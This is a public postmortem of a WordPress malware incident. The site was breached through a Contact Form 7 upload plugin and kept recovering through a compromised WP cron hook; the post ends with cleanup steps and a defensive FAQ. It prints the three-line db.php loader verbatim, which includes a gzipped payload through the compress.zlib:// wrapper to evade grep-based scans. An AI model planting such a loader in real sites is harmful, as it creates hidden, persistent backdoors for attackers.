Skip to content
ENCS

db.php kept coming back every 10 minutes


Diagram: Persistence diagram: WP cron hook wp_dnd_cf7_daily_cron fires the compromised plugin every 10 minutes, which writes db.php and db.gz to wp-content; manually deleting the files loops back to the start.

This is the public version of an internal postmortem on removing malware from WordPress. I've left out server paths, database names and anything identifying the client. I kept all the technical detail, because that's exactly what I couldn't find when I googled "wordpress malware db.php".

Environment

WordPress on shared LiteSpeed hosting, managed through ISPmanager. Contact Form 7 with the drag-and-drop-upload-cf7-pro extension for file attachments. Nothing exotic. Exactly the kind of site a thousand small businesses run.

For context: the free version of the same plugin has two CVEs for unauthenticated arbitrary file upload in 2026 alone — CVE-2026-3459 in March and CVE-2026-5718 in April. The vulnerable file inc/dnd-upload-cf7.php is the same in both variants.

Timeline

When

What

~June 4

Initial compromise. First PHP file uploaded through the form plugin. index.php and wp-config.php modified around half past midnight.

June 16

Self-deleting dropper style1.php runs, spawning a second wave of shells.

June 16

First cleanup. Dropper process killed, shells removed, db.php deleted. Site clean — apparently.

June 21

Third wave. db.php is back, db.gz next to it.

July 31

Persistence found in the plugin's cron. Cron deleted, plugin deactivated. Regeneration stops.

Between June 21 and July 31 there's a gap. That's where I kept deleting things by hand and believing each time was the last. It wasn't.

Entry Point

The plugin accepted files from the form without proper type validation. That meant you could post a PHP file into the temporary upload folder and then call it from a browser. The LiteSpeed error log kept the evidence:

dnd-upload-cf7.php:934 — array_map(): Argument #2 must be of type array, string given
Input value: 'o0p96x'

A random six-character string where an array should be is the fingerprint of an automated exploit. Nobody did this by hand.

What Appeared on the Server

Loader db.php. WordPress supports a legitimate wp-content/db.php as a drop-in for an alternative database layer. That's why a file with this name doesn't look suspicious to anyone — and that's why the attacker used it. The contents were three lines:

$D1tv = function($x) { include $x; };
$H7 = 'compress.zlib://' . 'db.gz';
$D1tv($H7);

The payload sat next to it as db.gz, loaded through the compress.zlib:// stream wrapper. Grepping for eval, base64_decode or system finds nothing, because none of that is in db.php. The real code is gzipped, and you only get to judge it after decompression.

Self-deleting dropper style1.php. Ran as a long-lived PHP process, ~38 minutes of CPU time, continuously planting new shells. Deleted itself after launch. You couldn't see it on disk; you could in ps.

Diagnostic webshell lzx2.php, Chinese in origin, branded 可達鴨. Server reconnaissance, reading and deleting crons, killing competing PHP processes. Yes, competing. Sometimes several attackers end up on the same compromised site and sort it out among themselves.

Obfuscated file manager, ~200 KB of goto spaghetti, bilingual interface, web terminal, password-protected. Could copy itself.

Backdoor wp-asudo.php, pulling its payload from another .gz.

SEO spam. Russian and Chinese content that showed up in Weglot's translation cache. That, incidentally, is how anyone noticed at all — not a security alert, but odd text in the translations.

Why the First Cleanup Wasn't Enough

I removed everything visible: shells, dropper, db.php, db.gz. I checked the crontabs of every user. I went through the database for injected snippets and spam — clean. Five days of quiet.

Then db.php again.

The persistence lived in WordPress cron, not system cron. Hook wp_dnd_cf7_daily_cron with a 10-minute interval. The hook name belongs to the plugin — it's the plugin's legitimate cleanup of temporary uploads. That's why it didn't look suspicious on the first pass, and why wp cron event list showed it among normal entries. But the plugin was compromised, and hanging off that same hook was the code that put db.gz and db.php back after every one of my cleanups.

The lesson I should have remembered from before: system crontab and WP cron are two different things, and a clean crontab -l means nothing. wp cron event list is a mandatory stop, and for any hook whose name looks familiar, look at what's actually attached to it anyway.

Malware Removal: What I Did

  • Deleted the cron event, deactivated the plugin, deleted db.php and db.gz for the last time.
  • Went through the LiteSpeed access log by IP and timestamps from the error log. Went through the error log for exploit traces.
  • Checked wp_options for active_plugins, cron and anything containing compress.zlib, db.gz, file_put_contents.
  • Rotated passwords and the WordPress secret keys in wp-config.php.
  • Checked the other sites on the same hosting for db.php and the other files from this incident.
  • Deactivated the plugin. It's not coming back.

What I'd Do Differently

  1. Timeline from the start. find -newermt with the timestamp from the error log lists everything that changed since the breach. I only did it in the second round.
  2. Stop hand-deleting things that came back. Once something returns after cleanup, it isn't unfinished cleanup, it's persistence. Find the mechanism, don't delete the result.
  3. Upload plugin = attack surface. Anything that writes foreign files to disk needs its own review and its own monitoring. A form with attachments is not "just a form".
  4. Watch wp-content/*.php. A few drop-ins legitimately live in that directory. Anything new there is an alarm. A simple cron with find and a diff against a whitelist would have cut this incident from eight weeks to ten minutes.

Who This Is For

If you run WordPress with a form that accepts attachments, check three things: the version of that plugin, the contents of wp-content/ outside the standard subdirectories, and the output of wp cron event list. It takes five minutes. It took me two months.

And if something comes back after you delete it — don't delete it a third time. Look for the cron.

FAQ

What is db.php in wp-content, and is it supposed to be there?
Legitimately, yes! WordPress loads it as a drop-in for an alternative database layer (some caching plugins use it). That's exactly why attackers pick it. If you didn't knowingly install it and no known plugin created it, it's malware.
Why does malware come back after I delete it?
Because you deleted the result, not the mechanism. Something on the server is recreating the files — most often a WP cron hook, a compromised plugin or theme, an injection in the database (wp_options), or a running PHP process. Until you find it, you can delete forever.
How do I check for a malicious WP cron?
wp cron event list prints every scheduled hook. Don't just read the names — a hook can have a legitimate plugin name and still have foreign code attached. Check what's actually hooked to it (grep -r "hook_name" wp-content/), and be suspicious of anything with an interval measured in minutes.
What is compress.zlib:// and why does malware use it?
A PHP stream wrapper that transparently decompresses gzip on include. The loader contains no suspicious code — just an include path — and the real payload sits next to it in a .gz file, out of reach of a grep for eval or base64_decode.
Is updating the plugin enough, or do I need to delete it?
Updating won't help if the plugin's files were modified — the update may overwrite them, but the injection can live elsewhere. The safe path is to deactivate, delete the whole directory and install a clean copy from source. Or replace it.
How can I tell the site was breached through a form upload?
In the server error log, look for errors from the upload plugin with odd inputs (short random strings where structured data is expected); in wp-content/uploads, look for .php files; in the access log, look for bursts of POST requests to the form endpoint from a single IP.